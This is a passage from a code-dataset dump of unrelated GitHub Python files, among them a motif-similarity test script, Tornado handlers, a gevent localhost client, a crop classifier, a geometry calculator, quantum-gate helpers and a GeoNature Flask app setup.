path_new = path.replace(\n 'motif_analysis_final',\n f'motif_analysis_crossvalidation/{run}').replace('motif_enrichment.tsv', f'wlib/{b}')\n shutil.copy(path_new, f'wlib/PUM2_K562_ENCSR661ICQ_2')\n\n df = pd.DataFrame()\n for path1 in glob.glob('wlib/*'):\n name1 = path1.split('/')[-1]\n for path2 in glob.glob('wlib/*'):\n name2 = path2.split('/')[-1]\n sim = getsimilarity(path1, path2)\n df.loc[name1, name2] = sim\n mean_sim = np.mean([df.loc['PUM2_K562_ENCSR661ICQ_2', :].mean(),\n df.loc[:, 'PUM2_K562_ENCSR661ICQ_2'].mean()])\n sys.stdout.write(f'''{runtype.replace(\"GN\",\"Genomic\").replace(\"TR\",\"Transcriptomic\")} {\"-\".join(sample.split(\"_\")[-2:])} evaluation\\n''')\n sys.stdout.write(f'motif similarity: {mean_sim}\\n')\n if runtype == \"GN\":\n sys.stdout.write(f'rmsd of crosslink centers: {rmsd}\\n')\n sys.stdout.write(f'percentage of outlier peaks: {outlier_percentage} % \\n')\n \n\n if mean_sim > 0.75:\n sys.stdout.write('Motif similarity is high.Test passed 1/3\\n')\n else:\n sys.stdout.write('Motif similarity seems to be low 1/3\\n')\n if runtype == \"GN\":\n if rmsd < 1.5:\n sys.stdout.write('Rmsd is low. Peaks are highly overlapping. Test passed. 2/3\\n')\n else:\n sys.stdout.write('Rmsd seems to be too high. Peaks are far apart. 2/3\\n')\n if outlier_percentage < 5:\n sys.stdout.write('Few outliers detected. Test passed. 3/3\\n')\n else:\n sys.stdout.write('Too many peaks are not found in the test runs 3/3\\n')\n sys.stdout.write('\\n')\n return\n\n\ndef getSimilarityScore(wm1, wm2):\n wm1 = np.array(wm1)\n wm2 = np.array(wm2)\n s1 = np.zeros((wm1.shape[0] + wm2.shape[0] - 1, ))\n s2 = np.zeros((wm1.shape[0] + wm2.shape[0] - 1, ))\n for n in np.arange(wm1.shape[1]):\n s1 += np.convolve(wm1[:, n], wm2[:: - 1, n])\n score = np.vstack((s1)) #, s2))\n idx = np.argmax(score, axis=0)\n max_score = np.max(score, axis=0)[0]\n return max_score\n\n\ndef get_wm(path):\n with open(path, 'r') as myfile:\n title = re.compile(r\"^(\\/\\/\\nNA.*\\n([^\\/]+))\", re.MULTILINE)\n filein = str(myfile.read())\n for match in title.finditer(filein):\n found = match.group(2)\n motif = pd.read_csv(\n io.StringIO(found),\n sep='\\s+',\n comment='#',\n index_col=0,\n engine='python')\n if 'cons' in motif.columns.values:\n motif.drop(['cons', 'inf'], axis=1, inplace=True)\n return motif\n\n\ndef getsimilarity(wm1_path, wm2_path):\n wm1 = get_wm(wm1_path)\n wm2 = get_wm(wm2_path)\n similarity = (\n (2 * getSimilarityScore(wm1, wm2)) / (\n getSimilarityScore(wm1, wm1) + getSimilarityScore(wm2, wm2)))\n return similarity\n\n\n# _____________________________________________________________________________\n# -----------------------------------------------------------------------------\n# Call the Main function and catch Keyboard interruptions\n# -----------------------------------------------------------------------------\nif __name__ == '__main__':\n try:\n main()\n except KeyboardInterrupt:\n sys.stderr.write(\"User interrupt!\\n\")\n sys.exit(0)\n\n","repo_name":"zavolanlab/RCRUNCH","sub_path":"test/test_singularity_execution/performance_evaluation.py","file_name":"performance_evaluation.py","file_ext":"py","file_size_in_byte":6098,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"21"} +{"seq_id":"4748329132","text":"import tornado.web\n\n\nclass ShowPicHandler(tornado.web.RequestHandler):\n def get(self):\n self.render(\"index.html\")\n\n\n\nclass ShowAllPicHandler(tornado.web.RequestHandler):\n def post(self):\n imglist = []\n print(\"Loading...\")\n with open(\"./template/data/pic_list.txt\",\"r\") as f:\n lines = f.readlines()\n for line in lines:\n pic = line.split(\"\\n\")[0]\n pic = self.static_url(pic)\n imglist.append(pic)\n self.write({\"status\": \"success load\", \"imglist\": imglist})\n\n\nclass ShowOnePicHandler(tornado.web.RequestHandler):\n def post(self):\n pic_id = self.get_argument(\"pic_id\")\n f = open(\"./template/data/pic_list.txt\", \"r\")\n lines = f.readlines()\n pic_url = 0\n for line in lines:\n if pic_id == line.split(\"/\")[-1].split(\"\\n\")[0]:\n pic_url = line.split(\"\\n\")[0]\n pic_url = self.static_url(pic_url)\n if pic_url:\n self.write({\"status\": \"true\", \"pic_id\": pic_url})\n else:\n self.write({\"status\": \"false\"})\n","repo_name":"wangchufeng/Narrative-flow-web","sub_path":"handler/showPic.py","file_name":"showPic.py","file_ext":"py","file_size_in_byte":1111,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"21981456362","text":"from gevent import monkey; monkey.patch_all()\nimport threading\nimport gevent\nfrom socket import *\n\n\ndef client(server_ip, port):\n c = socket(AF_INET, SOCK_STREAM) # 套接字对象一定要加到函数内,即局部名称空间内,放在函数外则被所有线程共享,则大家公用一个套接字对象,那么客户端端口永远一样了\n c.connect((server_ip, port))\n\n count = 0\n while count < 100:\n c.send(('%s say hello %s' % (threading.current_thread().getName(), count)).encode('utf-8'))\n msg = c.recv(1024)\n print(msg.decode('utf-8'))\n count += 1\n\n\nif __name__ == '__main__':\n greenlets = []\n for i in range(100):\n greenlets.append(gevent.spawn(client, '127.0.0.1', 8080))\n gevent.joinall(greenlets)\n","repo_name":"shushanxingzhe/python_learning","sub_path":"accelerate/gevent_socket_client.py","file_name":"gevent_socket_client.py","file_ext":"py","file_size_in_byte":777,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"14184007242","text":"import matplotlib.pyplot as plt\r\nimport pandas as pd\r\nimport os\r\nimport pickle\r\nimport physplot as pp\r\nimport physcalc as pc\r\nimport physfiles as pf\r\nimport phystrace as pt\r\nimport numpy as np\r\nimport math\r\nfrom mpl_toolkits.axes_grid1.anchored_artists import AnchoredSizeBar\r\n\r\n# import experiment class\r\ndir_in = \"C:\\\\Users\\\\haley\\\\Dropbox\\\\Projects\\\\FMRP\\\\Spreadsheets\"\r\nos.chdir(dir_in)\r\nclass_exp = 'wt_mEPSC.p'\r\nexp = pf.get_class(class_exp)\r\nexp.group_labels = ['Ipsilateral', 'Contralateral']\r\nexp.dir_in = dir_in\r\nexp.dir_traces = '\\\\Traces'\r\n# Default Settings\r\nexp.dir_plots = dir_in + '\\\\Plots'\r\nexp.x_label_text = exp.group_labels\r\nexp.x_label_size = 12\r\nexp.y_label_size = 14\r\nexp.y_tick_length = 10\r\nexp.y_tick_units = 'pA'\r\nexp.x_tick_length_20 = 2000\r\nexp.x_tick_units = 's'\r\nexp.x_ticklabel_angle = 45\r\nexp.x_title_size = 16\r\nexp.y_title_size = 16\r\nexp.x_title_text = ''\r\nexp.scatter_marker_size = 3\r\nexp.marker_colors = ['black', 'dimgray']\r\nexp.markers = ['s','o']\r\nexp.avg_marker_size = 25\r\nexp.avg_marker = '_'\r\nexp.avg_marker_color = 'black'\r\nexp.avg_err_size = 1\r\nexp.avg_err_color = 'black'\r\nexp.err_cap_size = 5\r\nexp.err_line_width = 1\r\nexp.posthoc_stars_size = 12\r\nexp.plot_dpi = 80 \r\nexp.save_dpi = 200\r\n\r\n# Get spreadsheets for mEPSCs, mEPSPs, sEPSCs\r\ndf_mC = pd.read_csv(exp.dir_in + exp.dir_traces + '\\\\' + 'wt_mEPSCs_traces.csv')\r\ndf_sC = pd.read_csv(exp.dir_in + exp.dir_traces + '\\\\' +'wt_sEPSCs_traces.csv')\r\ndf_sP = pd.read_csv(exp.dir_in + exp.dir_traces + '\\\\' +'wt_sEPSPs_traces.csv')\r\n\r\n# Normalize all traces to 0\r\ndf_mC = pt.sub_baseline (df_mC)\r\ndf_mP = pt.sub_baseline (df_sC)\r\ndf_sP = pt.sub_baseline (df_sP) \r\n\r\npt.mEPSC_traces(exp, df_mC)\r\npt.sEPSC_traces(exp,df_sC)\r\npt.sEPSP_traces(exp, df_sP)\r\n","repo_name":"haleyspeed/SEPS","sub_path":"wt_shaved_traces.py","file_name":"wt_shaved_traces.py","file_ext":"py","file_size_in_byte":1748,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"42140376207","text":"import sys\ninput = sys.stdin.readline\nsys.setrecursionlimit(100000)\n\ndef union(a, b):\n root_a = find(a)\n root_b = find(b)\n\n if root_a != root_b:\n sets[root_a] = root_b\n\ndef find(a):\n parent = sets[a]\n\n if parent == a:\n return parent\n \n else:\n root = find(parent)\n sets[parent] = root\n return root\n\nN, M = map(int, input().split())\nsets = [n for n in range(N + 1)]\nfor _ in range(M):\n op, a, b = map(int, input().split())\n\n if op == 0:\n union(a, b)\n \n else:\n root_a = find(a)\n root_b = find(b)\n\n if root_a != root_b:\n print(\"NO\")\n else:\n print(\"YES\")","repo_name":"W1nU/algorithm","sub_path":"repeat/1717.py","file_name":"1717.py","file_ext":"py","file_size_in_byte":674,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"28730927797","text":"\n# coding: utf-8\n\n# In[1]:\n\nimport os\nimport warnings # to filter warnings which is quite annoying to look at.\n# To perform various mathematical operations and tools to operate on nd arrays\nimport numpy as np\nimport pandas as pd # To import and analyze data\n#import matplotlib.pyplot as plt # for visualisation\n#import seaborn as sns # for visualisation\nimport pickle # To save data or python objects from primary memory to disk and store it in a binary format vice versa\n# Natural language processing toolkit used for vectorisation and preprocesssing data.\n#import nltk\n#get_ipython().magic('matplotlib inline')\n# Output of plotting commands to be displayed inline in the jupyter notebook.\nwarnings.filterwarnings('ignore')\n\n\n# In[2]:\n\ndataset = pd.read_csv(\"cropsss.csv\")\ndataset = dataset[1:]\n\n\n# In[3]:\n\ndataset.head(15)\n\n\n# In[4]:\n\n## Seperating the attributes and class label\n\n\nX=dataset.drop([\"Crop\"],axis=1)\ny=dataset[\"Crop\"]\n\n\n# In[5]:\n\ndataset.dtypes\n\n\n# In[6]:\n\ny.value_counts()\n\n\n# In[7]:\n\n## Train Test Split\n\nfrom sklearn.model_selection import train_test_split\n\nX_train,X_test,y_train,y_test=train_test_split(X,y,test_size=0.2,random_state=42,shuffle=\"False\") \nprint(X_train.shape)\nprint(y_train.shape)\nprint(X_test.shape)\nprint(y_test.shape)\n\n\n# In[8]:\n\n### Random Forests classifier\n\n\n\nfrom sklearn.ensemble import RandomForestClassifier \n\nclassifier = RandomForestClassifier(n_estimators = 10, criterion = 'entropy', random_state = 42)\nclassifier.fit(X_train,y_train)\npred = classifier.predict(X_test)\n\nfrom sklearn.metrics import accuracy_score\n\na=accuracy_score(y_test, pred)\nprint(a)\n\nx = [[2.9,0.35,2.8,47,250,15.1,301,55.5,7,6.55,54,8]]\ny=classifier.predict(x)\nprint(y)\n\n\n# In[9]:\n\n### Calculating accuracy\n\n\nfrom sklearn.metrics import accuracy_score\n\na=accuracy_score(y_test, pred)\nprint(a)\n\n\n# In[20]:\n\n#import scikitplot as splotst))\n\n\n# In[53]:\n\n## Predicting classes for discrete instances\nx = [[2.9,0.35,2.8,47,250,15.1,301,55.5,7,6.55,54]]\ny=classifier.predict(x)\nprint(y)\n\n\n# In[56]:\n\n## Predicting classes for discrete instances\nx = [[2,0.35,1,47,250,15.1,55,125,6.5,6.5,25]]\ny=classifier.predict(x)\nprint(y)\n\n\n# In[59]:\n\n## Predicting classes for discrete instances\nx = [[4,0.35,1.5,47,245,15.1,55,125,6.5,5,36]]\ny=classifier.predict(x)\nprint(y)\n\n\n# In[61]:\n\n## Predicting classes for discrete instances\nx = [[5,0.35,1.5,47,245,15.1,55,125,6.5,5,50]]\ny=classifier.predict(x)\nprint(y)\n\n\n# In[62]:\n\n\n\n### Decision Trees doesnt provide good results\n\nfrom sklearn.tree import DecisionTreeClassifier \nfrom sklearn.metrics import confusion_matrix \ndtree_model = DecisionTreeClassifier(max_depth = 2).fit(X_train, y_train) \ndtree_predictions = dtree_model.predict(X_test) \nfrom sklearn.metrics import accuracy_score\n\na=accuracy_score(y_test, dtree_predictions)\nprint(a)\n \n# creating a confusion matrix \ncm = confusion_matrix(y_test, dtree_predictions) \n\n\n# In[ ]:\n\n\n\n","repo_name":"adarshram98/FarmAssist","sub_path":"crop.py","file_name":"crop.py","file_ext":"py","file_size_in_byte":2900,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"40043545414","text":"import math\n\n\ndef solver():\n print(\"\"\"\nWith specific formulas we can calculate:\n\nAreas of geometric figures:\n * rectangles, r\n * squares, sq\n * right triangles, rt\n * irregular triangles, it\n * circle, c\n \nVolume of solid geometric figures:\n * cuboid, c\n * cylinder, cy\n\nPythagorean theorem\n\nCircle definitions:\n * length\n * diameter\n * radius\n\nThe sum of the internal angles\n\n\"\"\")\n\n print(\"Choose what to calculate:\\n\"\n \" * Area, a\\n\"\n \" * Volume, v\\n\"\n \" * Pythagorean theorem, pt\\n\"\n \" * Circle definitions, cd\\n\"\n \"* The sum of the internal angles, ts\")\n\n choice = \"\"\n\n while choice != \"exit\":\n try:\n choice = input(\"Input: \").lower()\n\n if choice in [\"area\", \"a\"]:\n choice = input(\"Chose the figure to measure area: \").lower()\n\n if choice in [\"rectangle\", \"r\"]:\n # Reading length from user\n length = float(input(\"Rectangle length: \"))\n # Reading width(breadth) from user\n breadth = float(input(\"Rectangle width: \"))\n # Calculating area\n area = length * breadth\n # Displaying results\n print(f\"Rectangle area is {round(area, 2)}\")\n\n elif choice in [\"square\", \"sq\"]:\n side = int(input(\"Side length of square: \"))\n area = side * side\n print(\"Area of square is \" + str(area))\n\n elif choice in [\"right triangles\", \"rt\"]:\n width = float(input('Side of triangle: '))\n height = float(input('Height of triangle: '))\n # calculate the area\n area = 0.5 * width * height\n print(\"Area of right triangle : %.2f\" % area)\n\n elif choice in [\"irregular triangle\", \"ir\"]:\n width = float(input('Side of the irregular triangle: '))\n height = float(input('Height of the irregular triangle: '))\n\n # calculate the area\n area = 0.5 * width * height\n\n print(\"\\n Area of irregular triangle : %.2f\" % area)\n\n elif choice in [\"circle\", \"c\"]:\n r = float(input(\"Radius of a circle: \"))\n area = math.pi * r * r\n print(\"Area of circle: %.2f\" % area)\n\n else:\n print(\"There was a problem!\")\n elif choice in [\"volume\", \"v\"]:\n choice = input(\"Chose the figure to measure volume: \").lower()\n\n if choice in [\"cuboid\", \"c\"]:\n # Python Program to Calculate the Volume and Surface Area of Cuboid\n\n # Take the input from the User\n length = float(input(\"Cuboid length: \"))\n width = float(input(\"Cuboid width: \"))\n height = float(input(\"Cuboid height: \"))\n\n # Calculate the Volume\n volume = length * width * height\n\n # Print the Output\n print(\"Volume of cuboid= %.2f\" % volume)\n\n elif choice in [\"cylinder\", \"cy\"]:\n radius = float(input('Radius of cylinder: '))\n height = float(input('Height of cylinder: '))\n\n volume = (1.0/3) * math.pi * radius * radius * height\n\n print(\"Volume of cylinder %.2f\" % volume)\n\n else:\n print(\"There was a problem\")\n\n elif choice in [\"pythagorean theorem\", \"pt\"]:\n mala = input(\"Calculate hypotenuse - h or leg - l: \").lower()\n\n # hypotenuse\n if mala == \"h\":\n a = float(input(\"Length of first leg: \"))\n b = float(input(\"Length of second leg: \"))\n h = math.sqrt(a ** 2 + b ** 2)\n print(f\"Length of hypotenuse: {h}\")\n # leg\n elif mala == \"l\":\n a = float(input(\"Length of leg: \"))\n b = float(input(\"Length of hypotenuse: \"))\n k = math.sqrt(b ** 2 - a ** 2)\n print(f\"Length of hypotenuse: {k}\")\n else:\n print(\"There was a problem\")\n\n elif choice in [\"circle definitions\", \"cd\"]:\n choice = input(\"\"\"\n Calculate:\n * radius, r\n * diameter, d\n * length of circle, l\"\"\").lower()\n\n if choice in [\"radius, r\"]:\n choice = input(\"From diameter or length of circle: \").lower()\n\n if choice in [\"diameter\", \"d\"]:\n # diametrs uz radius\n diameter = input(\"Diameter of radius: \")\n diameter = float(diameter)\n radius = diameter / 2\n print(f\"Radius of circle: {radius}\")\n elif choice in [\"length of circle\", \"l\"]:\n # radius uz rinka linijas garumu\n length = input(\"Length of a circle: \")\n length = float(length)\n radius = length / 2 / math.pi\n print(f\"Radius of a circle: {radius}\")\n else:\n print(\"There was a problem\")\n\n elif choice in [\"diameter\", \"d\"]:\n choice = input(\"From diameter or length of circle: \").lower()\n\n if choice in [\"radius\", \"r\"]:\n # radius uz diametru\n radius = input(\"Radius of a circle: \")\n radius = float(radius)\n diameter = radius * 2\n print(f\"Diameter of a circle: {diameter}\")\n elif choice in [\"length of a circle\", \"l\"]:\n # Length of a circle to radius\n length = input(\"Length of a circle: \")\n length = float(length)\n diameter = length / math.pi\n print(f\"Radius of a circle: {diameter}\")\n else:\n print(\"There was a problem\")\n\n elif choice in [\"length of a circle\", \"l\"]:\n choice = input(\"From diameter or radius of circle: \").lower()\n\n if choice in [\"radius\", \"r\"]:\n # rinka linijas garums uz radiusu\n radius = input(\"Radius of a circle: \")\n radius = float(radius)\n length = radius * 2 * math.pi\n print(f\"Length of a circle {length}\")\n elif choice in [\"diameter\", \"d\"]:\n diameter = input(\"Diameter of a circle: \")\n diameter = float(diameter)\n length = diameter * math.pi\n print(f\"Length of a circle {length}\")\n\n elif choice in [\"The sum of internal angles\", \"ts\"]:\n n = int(input(\"Number of sides: \"))\n if n < 3:\n sum_of_angles = 0\n else:\n sum_of_angles = (n - 2) * 180\n\n print(f\"The sum of internal angles: {sum_of_angles}\")\n\n else:\n print(\"There was a problem!\")\n\n except ValueError:\n print(\"There was a problem\")\n","repo_name":"Schuteros/Scientific_calculator","sub_path":"solver.py","file_name":"solver.py","file_ext":"py","file_size_in_byte":7548,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"33508919317","text":"import math\nimport cmath\nimport numpy as np\nfrom typing import Tuple\n\nfrom mpl_toolkits.mplot3d import Axes3D\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom itertools import product, combinations\nfrom matplotlib.patches import FancyArrowPatch\nfrom mpl_toolkits.mplot3d import proj3d\n\n\n# 2D bases\nZero = np.array([[1, 0]], dtype=np.complex_).transpose()\nOne = np.array([[0, 1]], dtype=np.complex_).transpose()\n\nfactor = complex(1 / np.sqrt(2), 0.0)\nPlus = factor * np.array([[1, 1]], dtype=np.complex_).transpose()\nMinus = factor * np.array([[1, -1]], dtype=np.complex_).transpose()\n\n# 2D Gates\neye = np.array([[1, 0], [0, 1]], dtype=np.complex_)\n\n# Pauli gates\nX = np.array([[0, 1], [1, 0]], dtype=np.complex_)\nY = np.array([[0, -1j], [1j, 0]], dtype=np.complex_)\nZ = np.array([[1, 0], [0, -1]], dtype=np.complex_)\n\n# Hadamard gate\nH = factor * np.array([[1, 1], [1, -1]], dtype=np.complex_)\n\n\n# Phase Shift gate\ndef R(phi: np.float64) -> np.array:\n c = np.exp(complex(0, 1) * phi)\n return np.array([[1, 0], [0, c]], dtype=np.complex_)\n\n\n# 4D Gates\n\n# CNOT gate\ncx = [[1, 0, 0, 0], [0, 1, 0, 0], [0, 0, 0, 1], [0, 0, 1, 0]]\nCX = np.array(cx, dtype=np.complex_)\n\n\n# compute the conjugate transpose of the input matrix\ndef dagger(a: np.array) -> np.array:\n return a.transpose().conj()\n\n\n# check if the input matrix is unitary\ndef is_unitary(a: np.array) -> bool:\n return np.allclose(np.linalg.inv(a), dagger(a))\n\n\n# check if the input matrix is hermitian\ndef is_hermitian(a: np.array) -> bool:\n return np.allclose(a, dagger(a))\n\n\n# pretty print arrays\ndef info(a: np.array, name: str = None) -> None:\n if name is not None:\n print(name)\n print(\"shape:\", a.shape)\n print(np.round(a, 3))\n\n\n# normalize an array\ndef normalize(a: np.array) -> np.array:\n norm = np.linalg.norm(a)\n if norm == 0:\n return a\n return a / norm\n\n\n# get coefficients of a given qubit\ndef get_coefficients(a: np.array) -> Tuple[complex, complex]:\n return a[0][0], a[1][0]\n\n\n# get polar coordinates of a qubit\n# |q⟩ = a|0⟩ + b|1⟩ = cos(theta/2)|0⟩ + exp(i * phi) * sin(theta/2)|1⟩\ndef get_polar_coordinates(qubit: np.array) -> Tuple[float, float]:\n a, b = get_coefficients(qubit)\n theta = 2 * cmath.acos(a)\n if abs(cmath.sin(theta / 2)) > 1e-33:\n phi = 1 / complex(0, 1) * cmath.log(b / cmath.sin(theta / 2))\n return theta.real, phi.real\n\n return theta.real, complex(np.pi, 0).real\n\n\n# get polar coordinates of a qubit\n# r=1 because we are on a unit sphere\ndef get_cartesian_coordinates(qubit: np.array) -> Tuple[float, float, float]:\n theta, phi = get_polar_coordinates(qubit)\n r = 1\n x = r * cmath.sin(theta) * cmath.cos(phi)\n y = r * cmath.sin(theta) * cmath.sin(phi)\n z = r * cmath.cos(theta)\n return x.real, y.real, z.real\n\n\ndef draw_bloch_sphere(qubit: np.array) -> None:\n x, y, z = get_cartesian_coordinates(qubit)\n\n fig = plt.figure()\n ax = fig.gca(projection=\"3d\")\n # ax.set_aspect(\"equal\")\n\n # draw sphere\n u, v = np.mgrid[0 : 2 * np.pi : 50j, 0 : np.pi : 50j]\n sx = np.cos(u) * np.sin(v)\n sy = np.sin(u) * np.sin(v)\n sz = np.cos(v)\n ax.plot_wireframe(sx, sy, sz, color=\"k\", alpha=0.1)\n\n a = Arrow3D(\n [0, x], [0, y], [0, z], mutation_scale=20, lw=2, arrowstyle=\"-|>\", color=\"r\"\n )\n ax.add_artist(a)\n plt.show()\n\n\nclass Arrow3D(FancyArrowPatch):\n def __init__(self, xs, ys, zs, *args, **kwargs):\n FancyArrowPatch.__init__(self, (0, 0), (0, 0), *args, **kwargs)\n self._verts3d = xs, ys, zs\n\n def draw(self, renderer):\n xs3d, ys3d, zs3d = self._verts3d\n xs, ys, zs = proj3d.proj_transform(xs3d, ys3d, zs3d, renderer.M)\n self.set_positions((xs[0], ys[0]), (xs[1], ys[1]))\n FancyArrowPatch.draw(self, renderer)\n","repo_name":"alessandrobessi/quantum-computing-notes","sub_path":"quantum/quantum.py","file_name":"quantum.py","file_ext":"py","file_size_in_byte":3793,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"70535418349","text":"import time\nimport os\nimport sys\n\ncounter = 0\nif __name__ == \"__main__\":\n while True:\n counter += 1\n print(\"dummy: {}\".format(counter))\n print(os.path.dirname(os.path.realpath(__file__)))\n sys.stdout.flush()\n time.sleep(5)\n","repo_name":"vadozy/go-bot","sub_path":"scripts/parallel_mcts/dummy.py","file_name":"dummy.py","file_ext":"py","file_size_in_byte":261,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"181548987","text":"'''\nDémarrage de l'application\n'''\n\nimport logging\n\nfrom flask import Flask\n\nfrom flask_cors import CORS\n\nfrom geonature.utils.env import DB, list_and_import_gn_modules\n\nclass ReverseProxied(object):\n\n def __init__(self, app, script_name=None, scheme=None, server=None):\n self.app = app\n self.script_name = script_name\n self.scheme = scheme\n self.server = server\n\n def __call__(self, environ, start_response):\n script_name = environ.get('HTTP_X_SCRIPT_NAME', '') or self.script_name\n if script_name:\n environ['SCRIPT_NAME'] = script_name\n path_info = environ['PATH_INFO']\n if path_info.startswith(script_name):\n environ['PATH_INFO'] = path_info[len(script_name):]\n scheme = environ.get('HTTP_X_SCHEME', '') or self.scheme\n if scheme:\n environ['wsgi.url_scheme'] = scheme\n server = environ.get('HTTP_X_FORWARDED_SERVER', '') or self.server\n if server:\n environ['HTTP_HOST'] = server\n return self.app(environ, start_response)\n\ndef get_app(config, _app=None, with_external_mods=True):\n # Make sure app is a singleton\n if _app is not None:\n return _app\n\n app = Flask(__name__)\n app.config.update(config)\n\n # Bind app to DB\n DB.init_app(app)\n\n with app.app_context():\n from geonature.utils.logs import mail_handler\n if app.config['MAILERROR']['MAIL_ON_ERROR']:\n logging.getLogger().addHandler(mail_handler)\n DB.create_all()\n\n from pypnusershub.routes import routes\n app.register_blueprint(routes, url_prefix='/auth')\n\n from pypnnomenclature.routes import routes\n app.register_blueprint(routes, url_prefix='/nomenclatures')\n from pypnnomenclature.admin import admin\n\n from geonature.core.routes import routes\n app.register_blueprint(routes, url_prefix='')\n\n from geonature.core.users.routes import routes\n app.register_blueprint(routes, url_prefix='/users')\n\n from geonature.core.gn_synthese.routes import routes\n app.register_blueprint(routes, url_prefix='/synthese')\n\n from geonature.core.gn_meta.routes import routes\n app.register_blueprint(routes, url_prefix='/meta')\n\n from geonature.core.ref_geo.routes import routes\n app.register_blueprint(routes, url_prefix='/geo')\n\n from geonature.core.gn_exports.routes import routes\n app.register_blueprint(routes, url_prefix='/exports')\n\n from geonature.core.auth.routes import routes\n app.register_blueprint(routes, url_prefix='/auth_cas')\n\n from geonature.core.gn_monitoring.routes import routes\n app.register_blueprint(routes, url_prefix='/gn_monitoring')\n\n from geonature.core.gn_commons.routes import routes\n app.register_blueprint(routes, url_prefix='/gn_commons')\n\n # errors\n from geonature.core.errors import routes\n\n app.wsgi_app = ReverseProxied(app.wsgi_app, script_name=config['API_ENDPOINT'])\n\n CORS(app, supports_credentials=True)\n # Chargement des mosdules tiers\n if with_external_mods:\n for conf, manifest, module in list_and_import_gn_modules(app):\n app.register_blueprint(\n module.backend.blueprint.blueprint,\n url_prefix=conf['api_url']\n )\n #chargement de la configuration du module dans le blueprint.config\n module.backend.blueprint.blueprint.config = conf\n app.config[manifest['module_name']] = conf\n\n _app = app\n return app\n","repo_name":"cdcvidal/GeoNature","sub_path":"backend/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":3637,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"37"} +{"seq_id":"8403302583","text":"import pandas as pd\nfrom sklearn.feature_selection import SelectKBest\nfrom sklearn.feature_selection import chi2\nimport sys\nimport os\nimport time\nsys.path.append('../../pyTsetlinMachineParallel/')\n#from tm import MultiClassConvolutionalTsetlinMachine2D\nfrom tm import MultiClassTsetlinMachine\nimport numpy as np\nimport re\nimport string\nimport pickle\nimport csv\nfrom sklearn.metrics import precision_recall_fscore_support\nfrom sklearn.model_selection import train_test_split\nfrom time import time\nimport matplotlib.pyplot as plt\n\n\noplabels=['0','1']\ncontext_length=4\nqr=['query_word']\ngram_base=[\"pos_\", \"tag_\", \"ent_type_\", \"is_alpha\", \"is_stop\", \"is_digit\", \"is_lower\", \"is_upper\",\"is_punct\", \"is_left_punct\", \"is_right_punct\", \"is_bracket\", \"is_quote\", \"dep_\", \"head.pos_\", \"head.head.pos_\"]\ngram_base+=qr\naddendum_context=['_wb'+str(l) for l in range(context_length,0,-1)]+['_wt']+['_wa'+str(l) for l in range(1,context_length+1)]\nexf=['text','word_idx','label']\n\nCLAUSES=160\nT=90\ns=2.5\nweighting = True\nmotif_length=7\ntraining_epoch=35\nRUNS=100\n\n\ndef find_uniques_length(df, ignoreheaders):\n\tuniques=[]\n\tcolumns=[]\n\tdfcols=df.columns\n\tfor col in gram_base:\n\t\tthis_cols=[col+ad for ad in addendum_context]\n\t\tuset=set(df[this_cols].values.T.ravel())\n\t\t#columns+=[col]\n\t\tif uniques==[]:\n\t\t\tuniques=[uset]\n\t\telse:\n\t\t\tuniques.append(uset)\n\treturn uniques\n\ndef numerize(df, list_uniques, list_columns):\n\ttemp_cols=[]\n\tnewX=np.zeros((df.shape[0], len(gram_base)*len(addendum_context)), dtype=np.int32)\n\tstartind=0\n\tfor contextid in addendum_context:\n\t\tfor colname_base in gram_base:\n\t\t\tcolname=colname_base+contextid\n\t\t\tul=list(list_uniques[gram_base.index(colname_base)])\n\t\t\tarr=df[colname].tolist()\n\t\t\ttempx=[ul.index(arr[pos]) for pos in range(len(arr))]\t\t\t\t \n\t\t\ttemp_cols.append(colname)\n\t\t\tnewX[:,startind]=tempx\n\t\t\tstartind+=1\n\t'''temp_cols=np.array(temp_cols)\n\tprint(temp_cols.shape)\n\tt=temp_cols.reshape(len(addendum_context),1,len(gram_base))\n\tprint(t.shape)\n\tprint(t)'''\n\treturn newX\t\n\ndef binarize(df, list_uniques, list_columns):\n\ttemp_cols=[]\n\tsum_size=np.sum([len(s) for s in list_uniques])\n\tnewX=np.zeros((df.shape[0], sum_size*len(addendum_context)), dtype=np.int32)\n\tstartind=0\n\tfor contextid in addendum_context:\n\t\tfor colname_base in gram_base:\n\t\t\tcolname=colname_base+contextid\n\t\t\tul=list(list_uniques[gram_base.index(colname_base)])\n\t\t\ttempx=np.zeros((df.shape[0], len(ul)), dtype=np.int32)\n\t\t\tarr=df[colname].tolist()\n\t\t\ttempx=[[1]*(ul.index(arr[pos])+1)+[0]*(len(ul)-(ul.index(arr[pos])+1)) for pos in range(len(arr))]\n\t\t\ttempx=np.reshape(tempx,(df.shape[0], len(ul)))\n\t\t\tendind=startind+len(ul)\n\t\t\t#print('name,s,e',colname,startind,endind)\n\t\t\ttemp_cols.append(colname)\n\t\t\tnewX[:,startind:endind]=tempx\n\t\t\tstartind=endind\n\t'''temp_cols=np.array(temp_cols)\n\tprint(temp_cols.shape)\n\tt=temp_cols.reshape(len(addendum_context),1,len(gram_base))\n\tprint(t.shape)\n\tprint(t)'''\n\treturn newX\t\n\ndef binarize_selected(df, list_uniques, list_columns):\n\ttemp_cols=[]\n\tsum_size=np.sum([len(s) for s in list_uniques])\n\tnewX=np.zeros((df.shape[0], sum_size*len(addendum_context)), dtype=np.int32)\n\tstartind=0\n\tfor contextid in addendum_context:\n\t\tfor colname_base in gram_base:\n\t\t\tcolname=colname_base+contextid\n\t\t\tif colname in list_columns:\n\t\t\t\tul=list(list_uniques[gram_base.index(colname_base)])\n\t\t\t\ttempx=np.zeros((df.shape[0], len(ul)), 